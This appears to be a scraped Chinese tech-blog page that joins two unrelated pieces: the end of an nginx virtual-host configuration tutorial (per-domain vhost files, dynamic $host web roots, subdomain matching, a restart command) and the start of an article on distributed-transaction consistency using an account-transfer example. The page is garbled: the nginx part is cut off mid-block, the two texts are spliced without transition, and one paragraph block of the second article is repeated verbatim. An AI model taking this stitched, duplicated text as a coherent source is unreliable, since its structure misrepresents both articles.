            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  /www/example2.com/$fastcgi_script_name;
            include        fastcgi_params;
        }

        location ~ /.ht {
            deny  all;
        }
}

4、打開 /etc/nginix.conf 文件,在相應位置加入 include 把以上2個文件包含進來

user  nginx;
worker_processes  1;

# main server error log
error_log	/var/log/nginx/error.log ;
pid	/var/run/nginx.pid;

events {
	worker_connections  1024;
}

# main server config
http {
	include       mime.types;
	default_type  application/octet-stream;
	log_format  main  '$remote_addr - $remote_user [$time_local] $request '
                      '"$status" $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

	sendfile        on;
	#tcp_nopush     on;
    	#keepalive_timeout  0;
	keepalive_timeout  65;
	gzip  on;

	server {
        	listen         80;
        	server_name     _;
        	access_log      /var/log/nginx/access.log main;
        	server_name_in_redirect  off;
        	location / {
            		root  /usr/share/nginx/html;
            		index index.html;
        	}
	}

    # 包含所有的虛擬主機的配置文件
    include /usr/local/etc/nginx/vhosts/*;
}

5、重啓 Nginx

/etc/init.d/nginx restart

方法二:動態目錄方法(優點是方便,每個域名對應一個文件夾,缺點是不靈活)

這個簡單的方法比起爲每一個域名建立一個 vhost.conf 配置文件來講,只需要在現有的配置文件中增加如下內容:

# Replace this port with the right one for your requirements
# 根據你的需求改變此端口
listen       80;  #could also be 1.2.3.4:80 也可以是1.2.3.4:80的形式
# Multiple hostnames seperated by spaces.  Replace these as well.
# 多個主機名可以用空格隔開,當然這個信息也是需要按照你的需求而改變的。
server_name  star.yourdomain.com *.yourdomain.com http://www.*.yourdomain.com/;
#Alternately: _ *
#或者可以使用:_ * (具體內容參見本維基其他頁面)
root /PATH/TO/WEBROOT/$host;
error_page  404              http://yourdomain.com/errors/404.html;
access_log  logs/star.yourdomain.com.access.log;
location / {
root   /PATH/TO/WEBROOT/$host/;
index  index.php;
}
# serve static files directly
# 直接支持靜態文件 (從配置上看來不是直接支持啊)
location ~* ^.+.(jpg|jpeg|gif|css|png|js|ico|html)$ {
access_log        off;
expires           30d;
}
location ~ .php$ {
# By all means use a different server for the fcgi processes if you need to
# 如果需要,你可以爲不同的FCGI進程設置不同的服務信息
fastcgi_pass   127.0.0.1:YOURFCGIPORTHERE;
fastcgi_index  index.php;
fastcgi_param  SCRIPT_FILENAME  /PATH/TO/WEBROOT/$host/$fastcgi_script_name;
fastcgi_param  QUERY_STRING     $query_string;
fastcgi_param  REQUEST_METHOD   $request_method;
fastcgi_param  CONTENT_TYPE     $content_type;
fastcgi_param  CONTENT_LENGTH   $content_length;
fastcgi_intercept_errors on;
}
location ~ /.ht {
deny  all;
}

最後附另外一個二級域名匹配的方法

綁定域名
server_name *.abcd.com;
獲取主機名
if ( $host ~* (.*).(.*).(.*))
{
set $domain $1;
}
定義目錄
root html/abc/$domain/;
location /
{
root html/abcd/$domain;
index index.html index.php;

分佈式系統的事務處理經典問題及模型 - mmcmmc

標籤:分佈式事務,分佈式事務處理 發佈於 2016-08-19 15:48:53
簡介

數據服務的高可用是所有企業都想擁有的,但是要想 讓數據有高可用性,就需要冗餘數據寫多份。寫多份的問題會帶來一致性的問題,而一致性的問題又會帶來性能問題,這就會陷入一個無解的死循環!


這裏所謂數據 一致性,就是當多個用戶試圖同時訪問一個數據庫時,如果它們的事務同時使用相同的數據,可能會發生以下四種情況:丟失更新、未確定的相關性、不一致的分析 和幻像讀。本篇文章將會給大家系統的介紹多種處理分佈式數據一致性的技術模型,以下是作者原文:


在生產線上用一臺服務器來提供數據服務的時候,經常會遇到如下的兩個問題:

  • 一臺服務器的性能不足以提供足夠的能力服務於所有網絡請求。


  • 擔心服務器宕機,造成服務不可用或是數據丟失。


面對這些問題,我們不得不對服務器進行擴展,加入更多的機器來分擔性能問題,以及解決單點故障問題。通常,我們會通過兩種手段來擴展我們的數據服務:

  • 數據分區: 就是把數據分塊放在不同的服務器上(如:uid % 16,一致性哈希等)。


  • 數據鏡像: 讓所有的服務器數據同步,提供無差別的數據服務。


使用第一種方案,無法解決數據丟失問題,單臺服務器出問題時,一定會有部分數據丟失。所以,數據服務的高可用性只能通過第二種方法來完成——數據的冗餘存 儲(一般工業界認爲比較安全的備份數應該是3份,如:Hadoop和Dynamo)。


但是,加入的機器越多數據就會變得越複雜,尤其是跨服務器的事務處 理,也就是跨服務器的數據一致性。這個是一個很難的問題!讓我們用最經典的Use Case:「A帳號向B帳號匯錢」來說明一下,熟悉RDBMS事務的都 知道從帳號A到帳號B需要6個操作:

1、從A帳號中把餘額讀出來;

2、對A帳號做減法操作;

3、把結果寫回A帳號中;

4、從B帳號中把餘額讀出來;

5、對B帳號做加法操作;

6、把結果寫回B帳號中。


爲了數據的一致性,這6件事,要麼都成功做完,要麼都不成功,而且這個操作的過程中,對A、B帳號的其它訪問必需鎖死,所謂鎖死就是要排除其它的讀寫操作,不然會有髒數據問題,這就是事務。但是,在加入了多個機器後,這個事情會變得複雜起來:


4、從B帳號中把餘額讀出來;

5、對B帳號做加法操作;

6、把結果寫回B帳號中。


爲了數據的一致性,這6件事,要麼都成功做完,要麼都不成功,而且這個操作的過程中,對A、B帳號的其它訪問必需鎖死,所謂鎖死就是要排除其它的讀寫操作,不然會有髒數據問題,這就是事務。但是,在加入了多個機器後,這個事情會變得複雜起來:


1、在數據分區的方案中: 如果A帳號和B帳號的數據不在同一臺服務器上怎麼辦?我們需要一個跨機器的事務處理。也就是說,如果A的扣錢成功了,但B的加錢不成功,我們還要把A的操作給回滾回去。在不同的機器上實現,就會比較複雜。


2、在數據鏡像的方案中: A 帳號和B帳號間的匯款是可以在一臺機器上完成的,但是別忘了我們有多臺機器存在A帳號和B帳號的副本。如果對A帳號的匯錢有兩個併發操作(要匯給B和 C),這兩個操作發生在不同的兩臺服務器上怎麼辦?也就是說,在數據鏡像中,在不同的服務器上對同一個數據的寫操作怎麼保證其一致性,保證數據不衝突?


同時,我們還要考慮性能因素,如果不考慮性能的話,事務完成並不困難,系統慢一點就行了。除了考慮性能外,我們還要考慮可用性,也就是說,一臺機器沒了,數據不丟失,服務可由別的機器繼續提供。 於是,我們需要重點考慮下面的這麼幾個情況:

  • 容災: 數據不丟、結點的Failover

  • 數據的一致性: 事務處理

  • 性能: 吞吐量 、 響應時間


前面說過,要解決數據不丟,只能通過數據冗餘的方法,就算是數據分區,每個區也需要進行數據冗餘處理。這就是數據副本:當出現某個節點的數據丟失時可以從 副本讀到,數據副本是分佈式系統解決數據丟失異常的唯一手段。所以,在這篇文章中,我們只討論在數據冗餘情況下考慮數據的一致性和性能的問題。簡單說來:

要想讓數據有高可用性,就得寫多份數據。

寫多份的問題會導致數據一致性的問題。

數據一致性的問題又會引發性能問題


  • 這就是軟件開發,按下了葫蘆起了瓢。



一致性模型



說起數據一致性來說,簡單說有三種類型(當然,如果細分的話,還有很多一致性模型,如:順序一致性,FIFO一致性,會話一致性,單讀一致性,單寫一致性,但爲了本文的簡單易讀,我只說下面三種):



1、Weak 弱一致性: 當你寫入一個新值後,讀操作在數據副本上可能讀出來,也可能讀不出來。比如:某些cache系統,網絡遊戲其它玩家的數據和你沒什麼關係,VOIP這樣的系統,或是百度搜索引擎。

相關文章
相關標籤/搜索